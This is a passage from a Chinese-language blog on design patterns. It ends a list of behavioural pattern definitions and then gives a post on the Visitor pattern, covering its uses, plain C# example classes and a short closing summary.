对请求排队或记录请求日志,以及支持可撤消的操作。

解释器模式(Interpreter)

给定一个语言，定义它的文法的一种表示，并定义一个解释器，

这个解释器使用该表示来解释语言中的句子。

迭代器模式(Iterator)

提供一种方法顺序访问一个聚合对象中各个元素，而又不暴露该对象的内部表示。

中介者模式(Mediator)

用一个中介对象来封装一系列的对象交互。中介者使各对象不需要显式地相互引用，

从而使其耦合松散,而且可以独立地改变它们之间的交互。

备忘录模式(Memento)

在不破坏封装性的前提下，捕获一个对象的内部状态，并在该对象之外保存这个状态。

这样以后就可将该对象恢复到原先保存的状态。

观察者模式(Observer)

定义对象间的一种一对多的依赖关系,当一个对象的状态发生改变时,

所有依赖于它的对象都得到通知并被自动更新。

状态模式(State)

当一个对象的内在状态改变时允许改变其行为，这个对象看起来像是改变了其类。

策略模式(Strategy)

定义一系列的算法,把它们一个个封装起来,并且使它们可相互替换。

本模式使得算法可独立于使用它的客户而变化。

模板方法(TemplateMethod)

定义一个操作中的算法的骨架，而将一些步骤延迟到子类中。

TemplateMethod使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。

访问者模式(Visitor)

表示一个作用于某对象结构中的各元素的操作。

它使你可以在不改变各元素的类的前提下定义作用于这些元素的新操作。

附上每一个模式的代码示例,每一种模式示例代码都通过调试，调试环境vs2010

下载地址：http://files.cnblogs.com/jqbird/DesignPatternLab.rar

本文链接

设计模式学习笔记-访问者模式

2011-09-08T03:08:00Z

概述：

访问者模式(Visitor)，表示作用于某对象结构中的各元素的操作。

它使你可以在不改变各元素的类的前提下定义作用于这些元素新的操作。

适用场合：

1.一个对象结构包含很多类对象，他们有不同的接口，而你想对这些对象实施一些依赖于其具体类的操作。

2.需要对一个对象中的对象进行很多不同的并且不相关的操作，而你想避免让这些操作‘污染’这些对象的类。

visitor使得你可以将相关的操作集中起来定义在一个类中。

当该对象结构被很多应用共享时，使用Visitor模式让每个应用包含需要用到的操作。

3.定义对象结构类很少改变，但经常需要在此结构上定义新的操作。

改变对象结构类需要重定义对所有访问者的接口，这可能需要很大的代价。

如果对象结构类经常改变，那么可能还是在这些类中定义这些操作较好。

类图：

代码示例：

1.访问者抽象类

/// <summary>
/// 为该对象结构中ConcreteElement的每一个类声明一个Visit操作
/// </summary>
abstract class Visitor
{
public abstract void VisitConcreteElementA(ConcreteElementA concreteElementA);

public abstract void VisitConcreteElementB(ConcreteElementB concreteElementB);
}

2.实现访问者类

/// <summary>
/// 具体访问者，实现Visitor的操作，每个操作实现算法的一部分，该算法乃是对应
/// 于结构中对象的类
/// </summary>
class ConcreteVisitor1:Visitor
{
public override void VisitConcreteElementA(ConcreteElementA concreteElementA)
{
Console.WriteLine("{0}被{1}访问",concreteElementA.GetType().Name,this.GetType().Name);
}
public override void VisitConcreteElementB(ConcreteElementB concreteElementB)
{
Console.WriteLine("{0}被{1}访问",concreteElementB.GetType().Name,this.GetType().Name);
}
}
class ConcreteVisitor2:Visitor
{
public override void VisitConcreteElementA(ConcreteElementA concreteElementA)
{
Console.WriteLine("{0}被{1}访问", concreteElementA.GetType().Name, this.GetType().Name);
}
public override void VisitConcreteElementB(ConcreteElementB concreteElementB)
{
Console.WriteLine("{0}被{1}访问", concreteElementB.GetType().Name, this.GetType().Name);
}
}

3.　定义Element，它以一个访问者为参数

/// <summary>
/// 定义一个Accept操作，它以一个访问者为参数
/// </summary>
abstract class Element
{
public abstract void Accept(Visitor visitor);
}

4.实现Accept操作

/// <summary>
/// 具体元素，实现Accept操作
/// </summary>
class ConcreteElementA:Element
{
/// <summary>
/// 充分利用双分派技术，实现处理与数据结构的分离
/// </summary>
/// <param name="visitor"></param>
public override void Accept(Visitor visitor)
{
visitor.VisitConcreteElementA(this);
}
/// <summary>
/// 其他的相关方法
/// </summary>
public void OperationA()
{
}
}
class ConcreteElementB:Element
{
public override void Accept(Visitor visitor)
{
visitor.VisitConcreteElementB(this);
}
public void OperationB() { }
}

5.定义一个高层接口

/// <summary>
/// 提供一个高层接口允许访问者访问它的元素
/// </summary>
class ObjectStructure
{
private IList<Element> elements = new List<Element>();

public void Attach(Element element)
{
elements.Add(element);
}
public void Dettach(Element element)
{
elements.Remove(element);
}
public void Accept(Visitor visitor)
{
foreach(Element e in elements)
{
e.Accept(visitor);
}
}
}

6.客户端调用

/// <summary>
/// 测试访问者模式
/// </summary>
static void TestVisitor()
{
ObjectStructure o = new ObjectStructure();
o.Attach(new ConcreteElementA());
o.Attach(new ConcreteElementB());

ConcreteVisitor1 v1 = new ConcreteVisitor1();
ConcreteVisitor2 v2 = new ConcreteVisitor2();
o.Accept(v1);
o.Accept(v2);

Console.Read();
}

小结：

访问者模式有点复杂，而且应用场合很少，具体应用需要将实际情况合理抽象，需要多种设计模式配合工作。

本文链接